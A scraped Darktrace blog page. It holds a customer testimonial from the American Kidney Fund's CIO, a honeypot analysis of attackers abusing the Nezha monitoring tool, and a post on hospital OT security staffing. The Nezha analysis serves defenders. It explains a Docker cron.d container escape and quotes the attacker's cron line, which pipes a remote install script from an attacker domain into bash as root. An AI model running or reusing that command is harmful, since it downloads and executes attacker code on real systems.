Blog
/
/
October 11, 2022

Why American Kidney Fund Chose Darktrace

Find out how Darktrace's technology defends the American Kidney Fund against cyber threats, ensuring robust digital security.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gregory Smith
CIO, American Kidney Fund
Default blog image
11
Oct 2022

The nonprofit American Kidney Fund works on behalf of the 37 million Americans living with kidney disease, and the millions more at risk, with an unmatched scope of programs that support people wherever they are in their fight against kidney disease. With programs of prevention, early detection, financial support, disease management, clinical research, innovation and advocacy, no kidney organization impacts more lives than AKF.

Our work is critical, and we want to minimize any disruption that would jeopardize our ability to serve the large community that relies on us. A big part of that is the need to reduce cyber risk.  

During my 25 years in the cyber security sector, I have seen how the threats have evolved in complexity and how they have increased exponentially. Five years ago, we were more concerned with malware and phishing. Now, we worry about vulnerability to novel ransomware and other cyber-attacks, especially with the sale of ransomware on the dark web that enables people to deploy attacks without writing a single line of code. 

Another major concern comes from supply chain attacks. Like many groups since the start of the global pandemic, we have increased our use of cloud-based applications and have invited external guests to collaborate with us through them. Third parties, however, might be logging into these platforms with less security than our team has on our side. That means that any time we give third parties access to cloud applications we use, we must have the right set of security tools to cover that platform and detect those threats.  

In the cyber security industry, software typically lags behind the threats. To keep up with the increasingly aggressive cyber-crime landscape, CIOs have got to start thinking offensively instead of defensively. Darktrace is one of the tools we use to do just that. 

We have deployed Darktrace/Email and Darktrace/Apps. This covers our team’s collaboration platforms for every mailbox and every license across the enterprise, including our Office 365 environment. It’s a comprehensive footprint of cyber security protection for some of those critical areas where phishing risks and ransomware attacks typically are introduced into an organization.  

While searching for ways to bolster our security stack, we looked at the granular details to find the tool that was best in detection, action, and preventative threat capabilities. Darktrace hits all three of them.

Receiving priority treatment from Self-Learning AI 

Darktrace’s unique approach to cyber security is its Self-Learning AI, which learns each organization so that it can identify what is normal and what is a threat. While other Managed Detection Response (MDR) environments centralize their AI by collecting risks from multiple sources and piping those into a database, Darktrace treats every customer environment as its own database. That’s what makes it such an effective tool. 

Our email environment is different from that of another organization, and Darktrace learns the specific nuances of our senders, recipients, and messaging flow. It leverages this data to hone a faster and more tailored response against threats because it is not competing with any other customer’s environment. This focus enables the hyper-specific actions of Darktrace to neutralize novel attacks that are outside of each organization’s usual “pattern of life,” without interrupting business operations.

Tailoring settings to fit our needs

Darktrace’s individualized approach not only informs the AI’s behavior, but also extends to how my security team can tailor Darktrace settings to act within our desired parameters. In this way, Darktrace gives us more control while leveling the playing field against threat actors. For example, we can configure the thresholds to my team’s chosen levels to minimize tripping alarms with false positives and maximize authentic alerts.  

This customization also relates to my favorite feature of Darktrace: the ability to geo-block at the IP level. We already apply geo-IP blocks at our firewalls, VPNs, secure portals, and public websites. Darktrace complements our security stack and allows us to do it in our messaging and collaboration platforms, like Microsoft Teams.  

We set up an exception domain list to allow companies that we work with from risky geographical locations to flow through our blocks so we can conduct our normal digital operations. 

Protecting us while we protect our patients 

Computer scientists throughout history have written algorithms to make tasks more automated and efficient, and Darktrace engineers have done just that with cyber security. Darktrace saves my team an immense amount of labor and time that we don’t have to spend by keeping our digital infrastructure safe. 

When thinking of corporate security and resilience, I am reminded of the quote by William Shakespeare: “Hell is empty and the devils are here.” In today’s cyber security risk environment, it’s not a matter of if cyber criminals will attempt to penetrate your corporate network, it’s a matter of when. 

You’ve got to have the right tools to take offensive and defensive actions, especially when it comes to phishing and ransomware attempts, which traditionally come through email and messaging platforms. Darktrace is an invaluable tool within our arsenal that helps us handle these threats. 

About

Gregory Smith is the American Kidney Fund’s Chief Information Officer and a veteran in the IT sector. With over a quarter of a century of experience, Smith has published three IT management and leadership books with content that includes the topic of cyber security and currently serves as a graduate school professor at Georgetown University in Washington D.C. 

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gregory Smith
CIO, American Kidney Fund

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI